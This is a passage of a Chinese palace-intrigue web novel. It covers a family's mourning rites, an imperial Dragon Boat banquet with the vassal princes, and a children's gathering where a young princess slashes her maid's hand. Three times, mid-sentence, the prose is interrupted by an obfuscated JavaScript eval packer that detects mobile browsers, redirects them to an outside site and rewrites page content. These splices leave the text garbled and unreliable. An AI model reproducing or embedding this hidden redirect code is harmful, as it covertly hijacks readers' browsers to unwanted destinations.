岳诗韫瞟了眼那些箱子,便冷声称累了,扶着嬷嬷的手慢慢往回走。张雁跟上去侍奉,端木婉也抽身去更衣。端木萌叹了口气,命人将那些箱子原封不动抬到库房去收好,又领着师焕道:“好孩子,你已经跪了六七个时辰了,快随我去吃些东西垫垫肚子,不然你母亲该心疼了。你母亲灵前还有你三叔四叔和弟弟妹妹们守着,莫要担心。” 师焕沉默着点了点头。 看着三婶母和大哥走远,莞安才向婷欢和景安问道:“姑姑为什么不能出宫来看大伯母?” 景安道:“姑姑要忙着端午宫宴的事,如今还有半个月就是宫宴了,燕王、齐王和安王的家眷也都已经进京,都得是姑姑安排。朝臣全都盯着,万一出了岔子可是要被弹劾的。” “一个宫宴而已,耽误半日又有何妨?自从姑姑进了宫,这也不许那也不让。先前好容易陛下允许姑姑便衣出宫,又被人抓住弹劾,这宫规真是没情没理。” “莞安!”婷欢微微高声制止了妹妹,“宫规是太祖皇帝定下的,不是我们可以妄加评论的。” “大姐姐,我们是在自己家,又没有外人!”莞安不忿地噘嘴道,“我看你现在对我们的规矩比宫规还多,也不知道你是什么时候变成这样的,明明先前在慕州的时候你不是这样的。” “什么叫我不是这样,在慕州我是怎么样的?” “在慕州你带我们溜出门到江边放风筝、捉蜻蜓,去城外村子里看傩戏和皮影戏,还在学堂反驳先生的话,不肯背《女则》《女戒》,说要像男子一样学诗书上朝堂......怎么现在你和那《琵琶记》里的牛氏一个样子,像个供在庙里的泥塑木偶了!” 听着莞安越说越大声,景安急道:“师莞安!你瞎说些什么?”又对着妹妹沉声接着道:“京城又不比慕州,那时候我们只是楚王妃娘家的侄女,或者不过是失势的公主、郡主之女,若没有这些关系,我们直接就是罪臣之后,哪里有那么多人会盯着咱们。如今咱们家在外头是什么样子你又不是不知道,多少双眼睛紧盯着等着参咱们家一本,连下人都不敢稍有错漏。大姐姐已经够不容易了,若不是她在外头顶在我们前面周旋,哪还有你如今这么肆意妄为的日子,你却还要添乱。” 京城的日子是更尊贵,可尊贵也有代价。 甚至那代价才离开他们不远。 师莞安闻言低头,不敢再说。师景安又转过头去安慰师婷欢,婷欢却只是沉默,轻轻搭着妹妹的手示意,却也不再说话。 “可是姑姑是皇后,皇后不是全天下最尊贵的女子吗?”沉默间师幼芷道。 闻言,师景安也愣住,手还与师婷欢搭在一起,二人却双双紧盯着师幼芷说不出话。 “没有人是最尊贵的,只要人还在这世上,便注定要受到束缚。”端木婉自祠堂那几棵老榕树后走出来,眼神落到有些胆怯的师幼芷身上,像一条深秋蜿蜒在山间的冰凉的小河。她半蹲下身搂住师幼芷,却看着师莞安道:“我们只要生活在世上与人相处,便要遵循这世上的道理。小到兄弟姐妹间应当和睦友爱,大到不能触犯王法,都是一样的道理。同样,这世间也没有凭空而来的权力和地位。你们姑姑身在皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226156|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后之位,不必亲手劳动而能锦衣玉食,全赖天下人供养,自然要承受接受这些供养的代价,做好一个皇后的本分。” “什么是皇后的本分?”棠欢在一旁听了半天,从姐姐们的争吵开始就一直想张口却说不出话,又晕晕乎乎的听了些大道理,此时已经觉得整个头都像要开锅时候的笼屉,像是有蒸汽爆炸似的要往外挤。这会儿二伯母一来,整个人像一场小雨似的,淅淅沥沥却堙灭了旁的喧嚣,也叫她脑子里的燥热跟着销声匿迹,尽管她说的这一番话棠欢也基本没听懂什么。 端木婉笑了笑,揉了揉棠欢的头,却只道:“你还小呢,日后你就知道了。” 说着起身,叫旁边侍立的嬷嬷哄师棠欢和师幼桐去歇息,又带着婷欢等人和灵棚里守灵的师迟等一道也去吃些东西。 师琦跪在最后,呲牙咧嘴地起身,忍不住拖延着弯腰揉着僵硬的膝盖,被前面仍跪着的父亲师骁一个眼神镇住,忙不迭行礼随着哥哥们走了出去,直到混到姐妹间走到了后院才吐出一口气,拉着长姐师婷欢的手臂小声“哎唷”,却又被师玘一个白眼噤了声。 夜里近丑时,师霖示意袁例扶跪得摇摇欲坠的师焕下去休息,于是灵棚里便只剩下师霖师骁兄弟二人。 新刻好的牌位浓缩着一个生命,森然立在棺前的案上。师霖起身重新续上香火,侧身站立着微微活动了一下腿脚。师骁轻声道:“你也去睡会儿罢,过几个时辰再来替我。” 师霖淡淡笑了笑:“无妨。前些年给母亲和大哥二哥守灵,不也都是这么整晚整晚的。”他看着那牌位上萧晨的名字,叹道:“大嫂从前守灵时,也是整宿不肯歇息。她这些年来辛苦操持,病中也不能卸下重担,总是各种操心,还要担心小六......如今倒是可以好好歇一歇了。” 师骁颔首附和,道:“我只是担心焕哥儿。” 师晟去世,师焕年纪尚小,且生母尚在,如今却是实打实的成了无父无母的孤儿。萧晨虽常常忙于中馈,偶尔也会忽略师焕,后来为了叫师焕能独立,有时也会故意严厉甚至苛刻,好叫他不依赖于母亲。或者为了秉持公正,事事以旁人为先,好比倘若她得了一笼包子,倘若不够分,也是要先可着几个侄子侄女来,最后才是师焕,剩下的笼屉也得赠给某个弟妹,还要包教会她如何蒸出下一笼包子。也许她算不上慈母,但凡是她能教给师焕的,在短短十三年里毫无保留。 “便不说别的,只要她还在,那焕哥儿就不是孤儿。”如果她仍在世,就算来日师焕长大了因为什么而对母亲有所埋怨,也还有可以怨怼之人。 “焕哥儿还有我们。我必然会待他如亲子,与迟哥儿他们没有分别。” “我只怕到底我们是叔父,与他隔了一层,他若不肯交心也是正常的。” “我们又没有分家,虽然是叔父,但凡我在后院时,见了迟哥儿他们几面就见了焕哥儿几面,没有什么分别。这般一直生活在一起,与别人家后来过继的定是不同的。”师霖道,“无论如何,他是师家这一辈的长子,来日必然要接过承祧大任,延续基业,万万不可轻视。” 师骁愣了愣,抬头看向师霖,却只看见他隐匿在阴影里的半张侧脸,霎时烛光摇晃,一瞬间仿佛回到了十几年前,那时候棺材里躺着的是祖母赵霞云,而如此这般站在灵前的是师道旷。师骁自认为应当是伴在他身边最久之人,却还是说不清师霖是何时变成了师道旷。 这般愣神间,师霖的目光与萧晨灵前香火的亮光一道转过来望着他,师骁眼皮一跳,凑出来一个仓促尴尬的笑容附和。旋即又匆忙移开了一点眼神。 师霖只是沉默着回到他身侧的蒲团,重新跪好。 于祠堂停灵七日后,师骁带着师焕将萧晨的灵柩运回逢州祖坟安葬。他们赶在守城的士兵刚刚打开城门时出城,刚刚从草木上开始蒸发的露水将初夏的暑气压下,微凉的晨风伴着街巷的扫洒声,与鸟雀的叽喳一起,催着马车扬起尘埃。 这是萧晨最后一次在这段路上。 42. 第 42 章 五月初五一早,师冉月从榻上爬起来,先拿薛德保一早从井里打上来的还有些彻骨的凉水洗了一遍脸,强迫自己清醒过来,再坐到梳妆台前任由司饰摆弄,换上袆衣,早早到崇宁殿前等待端木玄一同去京郊宗庙祭拜端木氏先祖。 从戴上朝冠起,她便只能僵直着肩颈,半点不敢随意活动。头上纯金的凤凰衔着的一串串金珠随着步伐有规律地小幅晃动,这等精巧的手艺也只用在这顶自太祖昭仁皇后传下来的凤冠上了,是世人所赞叹的“栩栩如生”,压得她连与端木玄对视时都只能尽力抬起眼睑,而不敢昂头。 坐着仪车晃到京郊,麻木的脊背竟让她没有什么倦意。前前后后浩荡的仪仗队伍总有几千人,还有几百皇室宗亲、内外命妇,却只能听见礼乐声和衣环碰撞的声响,听不见一点闲杂人语。 于宗庙前下了仪车,再一步步领着内外命妇登上九十九级台阶,依序祭拜。 首先入宗庙的自然是端木玄和师冉月。 师冉月站得笔直,盯着端木玄的背影从从容容地叩拜、祷祝、上香、祈福,目光掠过层层叠叠的牌位,盯着上面一个个“端木”,忍不住勾起一点嘲讽的笑容,却又很快隐去,瞬了瞬目,恢复持重端庄的样子。 端木玄之后便是她。 过于厚重的袆衣和沉重繁琐的凤冠叫她不得不在跪拜等时候小心翼翼,动作也就比端木玄慢了许多。不过好在没有出什么岔子。起身的瞬间,目光经过位置靠下的端木昀的牌位,一点悲伤不由得漫过心底。她闭目轻轻吸了一口气,转身和端木玄一前一后出了宗庙。 重头戏完毕,师冉月瞬间就松懈了下来。余光看见端木葭和端木萌等迈入宗庙,她忍不住开始胡思乱想。端木萌一定也可以看见那些牌位的,武宗、昭献皇后、元宗、昭顷皇后,她又会做何感想呢?端木葭呢?远在岭南卿州从未再回过京城的端木菡,每年端午吃粽子观龙舟的时候,会不会想起少时的端午宫宴,还有京城宗庙里的这些人呢? 顶着升起的白花花的日头,思绪飘到千里之外,恍惚间似乎听见端木玄偏过头对她说了些什么,于是迷迷糊糊抬眼看过去。 端木玄无奈,穿过层层叠叠的宽大袖子,捏了捏她的手指试图叫她缓过神来,又稍稍提高了声音问道:“你不舒服吗?” “没。”师冉月不敢摇头,便也捏了捏他的手指。她自小有些气血不足,这般早起,又没有吃什么东西垫肚子,穿的又闷又热,搁平日里定是要恶心眩晕的,不过自从当了皇后之后每次有祭祖这样的事,她便总是绷紧了精神不敢又丝毫放松,似乎身体也跟着她的精神紧绷,顺从地不再闹腾。 不过等候仪式完成的时间还是很难熬。回去的路上,她又想起承祐年间的时候,端木萌在兄长的东宫为非作歹,他们这些人便也跟着。昔年唐烨跟随着岳诗君这般到郊外参加这些仪式的时候,她大概已经在东宫开始喝冰酿了。 “哎——” “怎么了娘娘?” 总算回到坤宁殿,脱去袆衣摘下凤冠就仿佛卸下了裹在身上的铁壳子。师冉月忍不住直接躺在廊下的躺椅上,叫木莲来揉着被凤冠压痛的头,再喝两口冰过的茶,舒服地喟叹。 “往事不可追啊。” 音儿闻言笑了,一边往师冉月嘴里塞了个桃花糕,一边道:“姑娘想追什么往事了?” 师冉月也不卖关子,把桃花糕嚼了嚼咽下肚,与音儿一同说起她当年跟着端木萌如何在东宫胡闹,又道:“过几年玦儿长大了,到东宫去住,兴许也会有一帮孩子像我们当年那般胡作非为,恨不得上房揭瓦呢。不对——玦儿现在还没有像云姝那样的妹妹,含儿那孩子可乖得很。” 音儿道:“我看哪,来日鸡犬不宁的倒不一定是东宫,兴许是大皇子的府邸呢。” “哦哦也对。”提起端木城,师冉月也是忍不住地摇头,“这孩子也不知道是和谁学的,明明绵姐姐那么温柔的一个人。不过今日祭祖时他倒是很规矩,颇有个‘大皇子’的样子了。” 说了一会子话,吴怀安便来道:“娘娘,是时候该换衣裳去宫宴了。” 师冉月忍不住哀叹一声,被木莲和春桃一左一右扶起来,回到殿内换上早早为宫宴准备好的紫蒲色衣裙,木槿色的披帛绵软轻盈,像夕颜花的藤蔓缠绕在臂间。 这次宫宴,师冉月着意选了低调亲和的衣饰,一则私心想要轻巧便利些,二则此次宴请的主要对象无疑是燕王、齐王和安王及其内眷,这三位藩王中,只有安王端木崇比端木玄还要年轻一岁,其余二位都是年长他的堂兄,且齐王和燕王都是穆宗皇帝的兄弟之后,恰恰是藩王中既靠近皇族核心又德高望重的存在,按着端木玄与师冉月商议的计划,先要放低姿态以显亲和谦逊,叫人放松警惕,才好再做筹谋。 吃了一碗音儿亲自下厨的鲜鱼面垫肚子,师冉月提起精神,先至崇宁殿配殿等候端木玄,再与他一同进殿入座。 “陛下万岁万岁万万岁,娘娘千岁千岁千千岁。” 早在半个时辰前就已经依序落座的世爵与朝臣命妇等如潮起潮落般起身行礼。能有资格入大殿赴宴的都是三品及以上官员和夫人,不过比起紧坐在帝后下首左右的皇亲来说也是陪衬。 紧挨着端木玄和师冉月左右的分别是贵妃林绵和昭仪徐聆雨,再往下依着年龄次序,便是燕王端木敬和燕王妃秦氏、齐王端木尹和齐王妃欧阳氏,陇西王端木齐与陇西王妃王氏,安王端木崇与安王妃荆氏,还有闽中王端木阳与侧妃宋滢。而后是怀宁长公主端木葭独坐一桌,之后便是端木萌和师霖,旁边便是师骁和张雁,以他们为首往下便是诸位朝臣和外命妇了。 端木玄宣布开宴,穿着一水儿西子青色衣衫的宫女游鱼一般上菜,而后自屏风后传出丝竹声,十六条杨妃粉的石榴裙自屏风后云步划出,水袖似淡粉的火烧云飘起在殿中,卷起叮当的编钟声盘旋。 崇宁殿大宴上没有未婚的男女,因此也没什么小儿女的情愫暗流涌动,取而代之的是隐藏在应酬往来中利益的流转和话语间的试探。不过到底端木玄坐在上头,下面结党营私便也不敢太过放肆。 师冉月举起琉璃酒盏,跟着端木玄一同主动向各个藩王敬酒。 一个月前端木玄才将端木齐和端木阳的郡王位升为王位,却还是将他们留在京城的府邸而非外赴封地。宋滢为此曾找过端木萌,希望她在帝后面前美言几句,请求让端木阳离开京城。端木萌也只是含糊一二敷衍过去。如今二人被端木玄像吉祥物一样摆在京城,在这宫宴上虽坐的靠前却也是陪衬,还要装出笑来举杯应和,到底是端木萌同父异母的兄长,心下也有些不忍,却还是在看到师冉月警告的眼神时咽下不谈。 “怎么不见燕王世子与世子夫人?” “啊。”燕王妃秦氏忙笑着应道:“儿媳上个月不甚小产了,身体抱恙,为保万全,犬子便也留在王府照料。臣妾在此为他们二人给陛下和娘娘赔个不是。”说着起身,举起酒盏向端木玄和师冉月致意,满饮了一杯。 师冉月微微笑了笑,尚未开口,却是徐聆雨在一旁幽幽道:“燕王妃倒是豪爽,却不知为何当初宫中宣旨的内侍到涯州接引时未曾告知,徒留皇后娘娘疑惑担心。世子夫人小产也不是什么不好开口的缘由罢?” “这......”秦氏的手僵在半空,一时有些不知所措。燕王端木敬连忙也起身,向端木玄行礼道:“陛下,此事确实是我们疏忽了,害得皇后娘娘挂心,还请恕罪。” 师冉月笑道:“王兄和王嫂不必紧张,这又不是什么大事,本宫也只是没有看见世子和夫人,随口一提罢了。二位快请坐。” 二人道谢坐下。 徐聆雨又道:“既如此,不如待世子夫人养好身子后与世子一同进京来罢,也好亲自向娘娘赔礼。听说世子夫人是宛城人,宛城与京城离得近,风土也相似,不似涯州苦寒,兴许世子夫人来了京城,身子养的更快呢。” 秦氏愣了愣,转头看向师冉月,却见师冉月只是微笑着端详她,忙拉着端木敬道:“昭仪娘娘说的有理。待王爷与臣妾回涯州,便叫他们二人来京城给娘娘赔罪。” 师冉月这才又举起酒盏,道:“无妨无妨,王嫂何必一口一个‘赔罪’、‘赔礼’的,原都是一家人,没的生分了。” 齐王妃欧阳氏也跟着笑道:“臣妾长子如今也在京中,他与燕王世子年纪相仿,彼时他们兄弟也能作伴了。” 林绵问道:“本宫记得似是齐王世子比燕王世子小上一些?” “是,我家洪儿比燕王世子小上三岁。贵妃娘娘记性真好。” “世子尚未娶亲吧?”宋滢看向欧阳氏,问道。 “是未娶亲。这孩子闷头读书惯了,不懂得讨姑娘家喜欢,没人看得上他。” “王妃真是说笑了,怎会有人挑剔世子。若是芜郡找不到世子夫人,正好如今进京了,就说今日勤德殿,便有数不清的好姑娘。”没有婚配的少年男女仍是赴东宫宴,不过如今端木玦年纪尚小,便由端木城代他于东宫勤德殿配殿主持宴饮。端木洪自是应在彼处赴宴。 “勤德殿的都是京城数一数二的大家闺秀,恐怕是更看不上洪儿那个傻小子了。” 其余几人也掺和进来闲聊,欧阳氏又是个聪明有趣的,从不叫话落到地上,你来我往的,气氛便融洽了不少。一来二去,话题也从燕王世子端木柏和端木洪身上绕开了。 夜深,笙鼓渐歇,宫宴遂止。 师冉月拖着步子回到坤宁殿,哄着因为阖宫上下异常的欢愉而有些过于兴奋的端木玦睡着,才终于坐到妆台前得以卸妆梳洗。换上轻薄的绸缎中衣的那一刻,她只觉得浑身上下都松快了起来,仿佛四肢是搁浅的鱼终于回到了海里喝足了水。 音儿帮她将琐碎的钗环卸下来,洗过头后,又用木梳蘸着栀子油轻轻梳了几个来回。 师冉月已经困得要睁不开眼,抓了抓音儿的手,打着哈欠道:“音儿,不必管我了,你也快去睡罢。” “没事姑娘,方才宫宴时春桃和木莲一直侍奉着,我倒在一旁偷了好一会儿懒。我在这儿陪姑娘等到陛下过来。” “近黛方才说他有事要回清和殿,今晚过不过来都不一定了。”师冉月又打了个哈欠,夺过梳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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师冉月睁目,蓦然想到承祐十年端木萌和端木婉连着嫁进师家的事,皱了眉,直直问道:“你要做什么,莫不是要效仿武宗皇帝?” 端木玄无奈笑道:“怎会,何况我若真想那么做,不是一下子就被你识破了。我要将他们与京城联系起来,总不能拿我这几个姓端木的孩子去联姻罢?” 师冉月忍不住腹诽全天下大概只有端木玄会这样看待自己的孩子——与他是不是皇帝并没有什么关系,只道:“京城的名门望族也不止师家这一家。” 端木玄没有说话,只是盯着她的双眼,像是黑夜里准备猎取猎物的鹰。没多时,师冉月败下阵来,想了想道:“不妨叫孩子们先在一块玩玩,看看谁合眼缘。我三哥三嫂也是因为青梅竹马,昭献皇后才赐婚的。免得因为你的谋划平白耽误了谁一辈子。” “行,不急。” “赐婚?”端木萌震惊道。 “是。瞧着陛下已经有了主意,不过是通知我一声,我也不好辩驳。不过先叫他们见面,在一起玩过,问问他们的意思,也不算盲婚哑嫁了。” 端木萌忍不住叹气:“也罢,反正生在我们这样的人家能婚嫁由己也是不易。齐王兄那个次子我是见过的,今年应当是九岁了,生得倒清俊,颇像齐王妃。只是有些温吞,不像他母亲那么活泛,兴许是像了他父亲了。” “齐王次子的确是个不错的人选,齐王府只有他和世子这两个孩子,人口也简单。其实陛下与我说,他本意是想给齐王世子端木洪在京城找一个世子夫人的,奈何婷欢才十二岁,官成澈和官成潜也没有岁数相当的女儿,这才罢了。” “齐王府是好,那燕王府可不是个什么好去处。”端木萌道。 “是燕王府把女儿嫁出来,又不是家里的孩子到燕王府去,这倒不必担忧。” “只是端木槿那孩子被燕王妃娇惯的有些跋扈......” 师冉月闻言笑了,“想不到我这辈子竟还能从你嘴里听到别人‘跋扈’,也是此生无憾了。”因着少时端木萌自己素来才是普天下最嚣张跋扈的那一个,未出嫁时满宫里的人没有不顺从惧怕她的,若不是岳皇后还能管着她些,恐怕崇宁殿的瓦都能叫她揭下来。事实上她十二岁时为了看司天监说的“扫把星”已经碰碎了清和殿房顶的瓦,因为清和殿比坤宁殿更高些,“离星星更近”,否则遭殃的就是坤宁殿了。因而遇到同样嚣张跋扈肆意妄为的那些世族子弟,只要不是作践人的,她都觉得投机,乖顺听话的则被她批为死板。 端木萌却只一味地叹气,认真道:“说真的,这孩子性子不是一般的乖张。在燕王府从来说一不二,恐怕师家庙小,容不下这尊大佛。” “再怎么着她还能压得过你吗?若她当真如你说的那般到了磋磨人的地步,燕王府有人惯她,师家却没有。你不单单是她长辈,还是长公主,论国法论家规都压她一头,放心好了。” “但愿......”端木萌琢磨了一番,道:“我过几日便以阳曲侯夫人和长公主的名义,邀她们到侯府。” “若是,”师冉月想了想,还是道:“若是孩子们当真都不愿意,那便也罢了,我总能找到理由回绝陛下,莫要强迫了谁。” “这你放心。” 43. 第 43 章 燕王、齐王和安王原本定的五月十二便要离开京城,因此端木萌三下五除二,初七下了请帖,将宴会定在了初九,只请了三位王妃并十岁的安王世子端木琭、九岁的齐王次子端木澈和八岁的和宁郡主端木槿,另外请了几个要好的夫人作陪。 前些年无人照看,望潮阁旁的梅树大多枯萎了,于是前年端木萌便叫人拔了,移植了几棵山桃花树来,又在旁边的子规廊下种了紫藤,爬到廊上的木架上。如今这个时节花倒是都谢了,只剩一片郁郁葱葱的绿浪,站在望潮阁上往下望去到处青翠欲滴,也是赏心悦目。 端木萌叫人设宴于楼上,又在子规廊内摆了矮桌,上面摆了香糖果子,供孩子们当零嘴,还放了笔墨纸砚以及插花点茶的各种器具和皮影等玩具,自觉煞费苦心。这一带离安居堂也有些距离,倒是不会吵到师焕。 今日为了叫孩子们玩得不受拘束,端木萌特意吩咐奶娘丫鬟们都只远远看着,莫要靠的太近,又怕棠欢和幼桐两个太小掉到池子里,便叫奶娘抱着她们两个单独在西侧院玩儿。 先前端木澈等人刚入门时被大人们领着彼此见过礼,如今周围没了长辈,反倒更没话说,彼此都拘束起来。莞安一手拉着景安的袖子,一手拉着婷欢的袖子,悄悄看着端木槿叫随身跟着的看上去也就十来岁的小丫鬟给她倒茶扇扇子。 师玘向师婷欢道:“大姐姐,不如我与二哥他们带着世子他们到骑射场去罢,成叔他们在那里,不会有什么岔子。” 婷欢点了点头,只嘱咐道:“你去叫人跟母亲她们说一声。”随即便主动走到端木槿身边坐下,笑着问道:“郡主初来京城,不知道你喜欢吃些什么、玩些什么?”她听过母亲对端木槿的描述,已经做好被甩脸子或者怎样的准备,却没曾想端木槿见她先过来搭话,倒像是骤然放松下来,道:“我才来这几日,除了进宫便是呆在驿馆,倒没吃到什么京城特色,不过我原先以为京城有多大多豪奢,如今看来豪奢是有,却不如我们涯州辽阔。” 景安微微笑道:“涯州地处平原,往北就是漠北草原,视野辽阔是自然的。” 端木槿嘟嘴道:“不过我以为京城会有更多戏听的,可惜我母妃不许我出驿馆。” “戏?” “是啊,傩戏、傀儡戏、南戏、皮影戏、杂剧,还有说书的,这些北方都少。”说着突然来了兴致,从凳上跳起来道:“表姐,你们有没有戏服?” “戏服?”婷欢讶然,这才注意到端木槿的发髻似乎也是仿着戏台上花木兰“当窗理云鬓,对镜贴花黄”那一场惯常的扮相梳的,又立即道:“我们没有,不过郡主若是喜欢听说书,京城茶楼中的说书先生都很不错,兴许离京前可以去听一听。” 听说了“没有”,端木槿又蓦地蔫了下去,一下子坐回小凳上,拂袖间将旁边丫鬟刚倒好的滚烫的茶碰倒,茶杯霎时摔碎在地,茶水四溅,竟波及了端木槿、师婷欢、师景安三件衣裳。师婷欢顾不上自己,忙拉着端木槿远离茶杯碎片,问道:“郡主可有烫到?” 一旁候着的师家的婆子和丫鬟忙上来打扫,端木槿带着的那个小丫鬟却直接跪在了地上,不断磕着头道“郡主恕罪”。 端木槿对师婷欢摆了摆手,却蹲到那丫鬟身前,捏着她的下巴,眯眼道:“叫你跟着侍奉,却一点眼力都没有,要你有什么用?”说着竟又起身,拦住要将碎瓷片端下去的婆子,从中挑了一块锋利的,不及众人反应,已经在那丫鬟手上亲手划了个一掌长的口子,登时鲜血直流。那丫鬟满脸是泪,却咬着唇不敢吭声。师莞安急了,猛地绕开两个姐姐将那丫鬟从地上拉起来,用手帕捂着她的伤口,道:“哪有你这么欺负人的,明明是你自己弄倒的茶杯,怪她做什么!”又叫旁边的婆子:“还不拿些止血的药来!” 端木槿却瞪眼道:“这是我的丫鬟,自然按我的规矩来。三表姐,你莫要多事。” 又看向那丫鬟,勾唇道:“怎么,你是想留在阳曲侯府?” 那丫鬟浑身颤抖,却忙离开师莞安身边,又跪在端木槿身前道:“奴婢不敢,奴婢但凭郡主处置。” 莞安又要说什么,却被景安拉到身后。婷欢拉着端木槿道:“丫鬟不合心意,换一个便是了。今日咱们这么多人,也用不着她在身边侍奉。我家弟弟们和世子他们如今应该都在骑射场,不如我们也一同过去罢?”又一边使眼色,叫婆子将那丫鬟带下去处理伤口。 那丫鬟被婆子半搀半拽地下去,还不住地回头看向端木槿。端木槿显然也注意到她的动作,薄而锋利的嘴角勾起,明明没有涂唇脂,却仍然艳丽的像曼陀罗。她亲昵地挽起师婷欢的手,道:“看在表姐的面子上,便饶她一次。” 婷欢笑得有些牵强,微微别过头,只道:“我们快去骑射场那边罢。” 莞安走在端木槿身后,对着她比自己矮半头的背影不住地翻白眼。景安拍了拍她的手,无声笑了笑,又拉过跟在后面一直沉默的幼芷一起走着。 骑射场上已经尘土飞扬,若不是没有锣鼓喧天,只怕叫人以为今年的围猎会要在阳曲侯府举办。 端木琭、端木澈再加上师迟、师玘、师言、师琦四个,也算热闹。不过端木琭仅仅摸了摸弓箭,便推说不会,只坐到台上看着。端木澈却加入到师家兄弟四人中,挑了一匹赤色的马驹儿利落地翻身上马,玩得不亦乐乎。他虽年纪小些,却并不见胆怯,偶尔似乎马儿要脱缰似的飞奔,或是一个急转要被甩到地上,他也仍旧镇定自若,甚至还能在师玘的帮助下尝试着撒开缰绳搭弓。 师迟一上了自己的马就完全忘我,也顾不上什么客人或是场合,一派意气风发的样子,肖似父亲的一双桃花眼神采飞扬,像海边展翅的鸥鸟的翅膀。原本背后还系了一件银色的薄披风,也嫌束缚了动作,骑在马上就单手解下来扔给不远处的侍从。 师琦也不甘落后,虽然年纪小些,但他是唯一一个能成日里缠着父亲师骁去马场的,也是小辈中唯一一个去过军中大营的,因此在外时也常不屑于其他侯门子弟,觉得他们大多只是花拳绣腿罢了。 师言今日有些兴致缺缺,骑着自己的马围着马场转了两圈,便下场找端木琭攀谈,叫人再拿来些茶水果子。 端木琭见他过来,温和笑道:“四公子不必顾忌我,我独自在这里观赏各位英姿也是好的。” 师言笑道:“那我得给世子赔罪了。我倒不是为了陪世子解闷,只是今日有些头晕,不能骑马了。”上挑的眼尾随着笑意微微眯起,像狐狸竖起的耳朵尖。 端木琭便也点头笑了笑,看向场中肆意飞驰的师迟和师琦,道:“二公子和五公子平日里也是这样么?” “是这样。二哥年长,经验也丰富。五弟的马术是我四叔亲自传授的,他又常常随着四叔去军营,甚至与年轻的将士们同场比试,甚少落在下风。”师言这话并没有可以谦虚,甚至蓄意夸张了几分。 “这般年少,中原子弟不比北方游牧民族自小长在马背上,单单骑马这一项做得好的也没有几个,更不要说能松开缰绳搭弓引箭了,便是这等胆识也不多见。”端木琭赞许道,看向马场的眼中似乎流露出一些向往,又忍不住感慨道:“真快活。” 师言正看着端木琭,听了这句似是肺腑之言的感慨,脑中却有些空白,一时不知道说什么好。端木琭却转头笑了笑,低头端起茶杯喝了口茶,而后又看向马场上的端木澈,道:“我自小体弱,母妃担心,便不许我学这些了。” 师言这才反应过来,有些磕巴道:“王妃也是慈母之心。” 端木琭浅笑着道:“你说话怎么像学堂里的老先生。” 师言无言以对,却仍默默打量着端木琭看向马场的眼神,自己拿了一块喜欢的绿豆桃花糕慢慢嚼着。 这会子婷欢携着端木槿与妹妹们也走到看台上,想着端木萌的叮咛,也不与端木琭和师言分席,坐到一堆搭话凑趣。她眼看着师迟又像中毒了似的与师琦两个发疯似的跑马,似乎自家这点场地已经不够他们俩发挥,一股火气便从心底往上窜,却碍于今日端木槿在场,不好发作,只得把快要冲破喉咙的话又使劲儿咽了回去,心下想着待送走了客再找他二人“算账”。 端木槿到似乎被场上的热闹吸引住了。婷欢原本还怕她嫌尘土飞扬,见她看得入神,也稍稍放下心来。景安微微笑着,安抚地抚了抚她的手臂。 莞安却仍对端木槿“虎视眈眈”,开口道:“郡主生在边关塞北涯州,想来自幼也该耳濡目染,应该也会骑射罢?” 端木槿却斜眼看过来,讥笑般道:“三表姐的意思是,从小看见兵马就该会骑射,那看见鸟儿是不是就该会在天上飞,看见鱼是不是就该会在水里游?” “你!”莞安再次哑口无言。景安却拽了她一把,眼神如深秋的井水一样冰冷地看向她。莞安自知是这次是自己先挑起事端,理亏不语,却仍不服输地瞪着端木槿。 见妹妹安分下来,景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226158|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安才收回眼神,却转向端木槿道:“不过郡主既然喜欢花木兰,倒不妨试试骑射,才好晓得木兰是沙场上真刀真枪英勇迎敌、抛头颅洒热血的本事,不是靠着父母权势,在宅院里逞口舌之快的。” 莞安羞红着脸躲到婷欢身后,婷欢却没注意她的事儿,只怕端木槿听明白了景安的意思又要做出些什么,便要拉着端木槿看回马场,端木琭却出声问道:“和宁妹妹在涯州真的见过边关的驻军吗?” “自然。”端木槿没在乎,道:“涯州是东北重镇、边关门户,怎么会少了驻守的将士。” “那......你有没有见过东北那些部族的人?” “部族,什么部族?” “就是女真族、契丹族之类的。” “契丹人没太见过,女真人与我们隔着边关相对而居,这些年互市也时断时续,自然是见过的。” 端木琭好似对此颇感兴趣,拉着端木槿问个不停,其余几人连话都插不上,只有婷欢和师言偶尔针对互市的事儿还能接上几句。端木槿起初还一句一句答着,然而她自己对这些部族相关的事儿没有任何兴趣,后来就越来越不耐烦,眉头逐渐皱紧,终于在端木琭问到女真人平日里吃什么的时候起身直道:“你烦不烦!若是想知道这些,为何不去看书,抓着我问这些做什么。” 端木琭惊讶地张着嘴,不知道说什么好。 正巧端木澈和师玘这会儿一前一后走上高台,碰上端木槿突如其来的火气不明就里,擦着汗问道:“怎么了怎么了?和宁妹妹怎么还生气了。” 端木琭仍旧懵着。安王端木崇和安王妃荆氏都是温吞内敛的人,还从来没有过这样疾言厉色的样子,而如今做出这番神情的又是他没见过几次的堂妹,更叫他不知道该如何应对了。 